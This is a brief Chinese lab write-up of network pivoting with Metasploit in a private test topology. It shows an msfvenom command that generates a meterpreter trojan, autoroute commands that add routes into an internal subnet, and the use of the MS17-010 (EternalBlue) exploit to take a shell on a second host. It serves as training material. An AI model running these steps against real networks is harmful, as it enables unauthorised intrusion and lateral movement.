实验目的:
1、先获取内网win10主机1的shell
2、meterpreter会话中添加内网路由地址
3、利用永恒之蓝漏洞获取内网win10主机2的shell
跳板实现过程
(1)需要有一个已经获取的meterpreter会话;
(2)获取内网地址网段
(3)在MSF平台上添加去往内网网段的路由
一、网络拓扑
其中
1:内网win10主机1IP:192.168.26.200
2:外网路由器IP:10.23.40.1(10.23.40.200可访问内网win10主机1)
3:kali攻击机IP:192.168.77.128
4、内网win10主机2IP:10.100.10.100
二、利用3389端口,远程连接内网win10主机1(10.23.40.200)
三,利用kali生成木马
命令:msfvenom -a x64 -p windows/x64/meterpreter/bind_tcp lport=4444 -f exe -o msf1.exe
四、设置监听payload
五、获取内网win10主机1的shell
六、添加路由
获取目标内网相关信息,命令:run get_local_subnets
配置静态路由,命令:run autoroute -s 10.100.10.100/24
查看路由表,命令:run autoroute -p
七、添加成功,退出meterpreter会话
八、利用ms17_010获取内网win10主机2的权限
九、成功获取内网win10主机2的shell